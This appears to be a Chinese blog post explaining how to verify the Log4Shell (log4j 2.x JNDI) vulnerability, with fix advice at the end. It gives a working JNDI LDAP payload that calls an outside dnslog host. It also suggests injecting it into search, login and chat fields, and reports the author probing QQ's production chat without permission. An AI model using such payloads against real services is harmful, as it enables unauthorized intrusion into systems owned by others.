本文仅供学习使用,切勿用于违法犯罪。
本文尝试利用该漏洞使远程服务器请求 dnslog 中随机生成的网址,并验证执行结果。
也希望各家平台可以尽快修复此漏洞。
漏洞影响范围
2.0 <= Apache log4j <= 2.14.1
验证方式
获取随机子域名
进入 dnslog 网站,获取一个随机子域名,如下图:
构造特殊字符串
使用获取的随机子域名构造如下字符串。
${jndi:ldap://317g7w.dnslog.cn/exp}
在候选程序中注入该字符串
可注入位置例如网站搜索框、登录框、聊天框等。
本文于 2021.12.10 20:55:05 尝试在 QQ 聊天框中输入该字符串。
刷新请求日志
如下图,可以看到有一台服务器请求了随机生成的子域名,且确定该 IP 属于腾讯云,因此可以认为 QQ 中目前存在这一远程代码执行漏洞。
修复建议
因为本人并未从事安全方面的工作,因此此建议搬运并总结于其他大佬的文章。
- 升级 log4j 至 2.14.1 以上,例如 2.15.0-rc2 及以上(听说 rc1 并不安全,原因需自行搜索)
- 对于 2.10 及以上的版本,考虑添加参数
-Dlog4j2.formatMsgNoLookups=true
,详情可见org.apache.logging.log4j.core.pattern.MessagePatternConverter.format
感谢分享
欢迎常来呦~